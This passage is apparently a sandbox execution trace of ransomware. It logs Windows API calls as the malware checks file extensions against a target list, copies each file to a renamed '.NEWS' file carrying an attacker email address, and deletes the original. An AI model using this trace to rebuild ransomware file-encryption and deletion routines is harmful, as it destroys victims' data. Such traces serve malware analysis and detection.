lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString=".1cd") returned 4 [0093.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString=".jpg") returned 4 [0093.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString=".doc") returned 4 [0093.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString=".docx") returned 5 [0093.644] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.644] lstrlenW (lpString=".pdf") returned 4 [0093.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString=".xls") returned 4 [0093.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.644] lstrlenW (lpString=".xlsx") returned 5 [0093.644] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.644] lstrlenW (lpString=".ppt") returned 4 [0093.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString=".zip") returned 4 [0093.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.644] lstrlenW (lpString=".rar") returned 4 [0093.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString=".bz2") returned 4 [0093.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString=".7z") returned 3 [0093.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString=".dbf") returned 4 [0093.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString=".1cd") returned 4 [0093.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.644] lstrlenW (lpString=".jpg") returned 4 [0093.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.645] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.645] lstrlenW (lpString="J0105232.WMF") returned 12 [0093.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.645] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5632) returned 1 [0093.645] CloseHandle (hObject=0x330) returned 1 [0093.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0093.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.646] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.646] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.646] GetLastError () returned 0x0 [0093.646] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1600, lpOverlapped=0x0) returned 1 [0093.647] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1610, lpOverlapped=0x0) returned 1 [0093.648] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.648] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.649] SetEndOfFile (hFile=0x39c) returned 1 [0093.649] CloseHandle (hObject=0x39c) returned 1 [0093.649] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.649] SetEndOfFile (hFile=0x330) returned 1 [0093.650] CloseHandle (hObject=0x330) returned 1 [0093.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0093.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.650] lstrlenW (lpString=".doc") returned 4 [0093.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.650] lstrlenW (lpString=".docx") returned 5 [0093.650] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.650] lstrlenW (lpString=".pdf") returned 4 [0093.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.650] lstrlenW (lpString=".xls") returned 4 [0093.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.651] lstrlenW (lpString=".xlsx") returned 5 [0093.651] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.651] lstrlenW (lpString=".ppt") returned 4 [0093.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.651] lstrlenW (lpString=".zip") returned 4 [0093.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.651] lstrlenW (lpString=".rar") returned 4 [0093.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString=".bz2") returned 4 [0093.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString=".7z") returned 3 [0093.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.651] lstrlenW (lpString=".dbf") returned 4 [0093.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.651] lstrlenW (lpString=".1cd") returned 4 [0093.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.651] lstrlenW (lpString=".jpg") returned 4 [0093.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.651] lstrlenW (lpString=".doc") returned 4 [0093.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString=".docx") returned 5 [0093.651] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.651] lstrlenW (lpString=".pdf") returned 4 [0093.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.651] lstrlenW (lpString=".xls") returned 4 [0093.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.652] lstrlenW (lpString=".xlsx") returned 5 [0093.652] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.652] lstrlenW (lpString=".ppt") returned 4 [0093.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.652] lstrlenW (lpString=".zip") returned 4 [0093.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.652] lstrlenW (lpString=".rar") returned 4 [0093.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.652] lstrlenW (lpString=".bz2") returned 4 [0093.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.652] lstrlenW (lpString=".7z") returned 3 [0093.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.652] lstrlenW (lpString=".dbf") returned 4 [0093.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.652] lstrlenW (lpString=".1cd") returned 4 [0093.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0093.652] lstrlenW (lpString=".jpg") returned 4 [0093.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.652] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.652] lstrlenW (lpString="J0105234.WMF") returned 12 [0093.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.653] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3444) returned 1 [0093.653] CloseHandle (hObject=0x330) returned 1 [0093.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0093.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.653] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.654] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.654] GetLastError () returned 0x0 [0093.654] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xd74, lpOverlapped=0x0) returned 1 [0093.655] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xd80, lpOverlapped=0x0) returned 1 [0093.656] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.656] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.656] SetEndOfFile (hFile=0x39c) returned 1 [0093.657] CloseHandle (hObject=0x39c) returned 1 [0093.657] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.657] SetEndOfFile (hFile=0x330) returned 1 [0093.658] CloseHandle (hObject=0x330) returned 1 [0093.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0093.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.658] lstrlenW (lpString=".doc") returned 4 [0093.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.658] lstrlenW (lpString=".docx") returned 5 [0093.658] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.658] lstrlenW (lpString=".pdf") returned 4 [0093.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.658] lstrlenW (lpString=".xls") returned 4 [0093.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.658] lstrlenW (lpString=".xlsx") returned 5 [0093.658] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.658] lstrlenW (lpString=".ppt") returned 4 [0093.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.659] lstrlenW (lpString=".zip") returned 4 [0093.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.659] lstrlenW (lpString=".rar") returned 4 [0093.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString=".bz2") returned 4 [0093.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString=".7z") returned 3 [0093.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.659] lstrlenW (lpString=".dbf") returned 4 [0093.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.659] lstrlenW (lpString=".1cd") returned 4 [0093.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.659] lstrlenW (lpString=".jpg") returned 4 [0093.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.659] lstrlenW (lpString=".doc") returned 4 [0093.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString=".docx") returned 5 [0093.659] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.659] lstrlenW (lpString=".pdf") returned 4 [0093.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString=".xls") returned 4 [0093.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.659] lstrlenW (lpString=".xlsx") returned 5 [0093.659] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.659] lstrlenW (lpString=".ppt") returned 4 [0093.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.659] lstrlenW (lpString=".zip") returned 4 [0093.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.659] lstrlenW (lpString=".rar") returned 4 [0093.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.660] lstrlenW (lpString=".bz2") returned 4 [0093.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.660] lstrlenW (lpString=".7z") returned 3 [0093.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.660] lstrlenW (lpString=".dbf") returned 4 [0093.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.660] lstrlenW (lpString=".1cd") returned 4 [0093.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0093.660] lstrlenW (lpString=".jpg") returned 4 [0093.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.660] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.660] lstrlenW (lpString="J0105238.WMF") returned 12 [0093.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.660] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17172) returned 1 [0093.660] CloseHandle (hObject=0x330) returned 1 [0093.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0093.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.661] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.661] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.661] GetLastError () returned 0x0 [0093.661] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4314, lpOverlapped=0x0) returned 1 [0093.933] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4320, lpOverlapped=0x0) returned 1 [0093.934] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.934] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.934] SetEndOfFile (hFile=0x39c) returned 1 [0093.934] CloseHandle (hObject=0x39c) returned 1 [0093.934] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.935] SetEndOfFile (hFile=0x330) returned 1 [0093.935] CloseHandle (hObject=0x330) returned 1 [0093.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0093.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.936] lstrlenW (lpString=".doc") returned 4 [0093.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.936] lstrlenW (lpString=".docx") returned 5 [0093.936] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.936] lstrlenW (lpString=".pdf") returned 4 [0093.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.936] lstrlenW (lpString=".xls") returned 4 [0093.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.936] lstrlenW (lpString=".xlsx") returned 5 [0093.936] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.936] lstrlenW (lpString=".ppt") returned 4 [0093.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.936] lstrlenW (lpString=".zip") returned 4 [0093.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.936] lstrlenW (lpString=".rar") returned 4 [0093.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.936] lstrlenW (lpString=".bz2") returned 4 [0093.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString=".7z") returned 3 [0093.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.937] lstrlenW (lpString=".dbf") returned 4 [0093.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.937] lstrlenW (lpString=".1cd") returned 4 [0093.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.937] lstrlenW (lpString=".jpg") 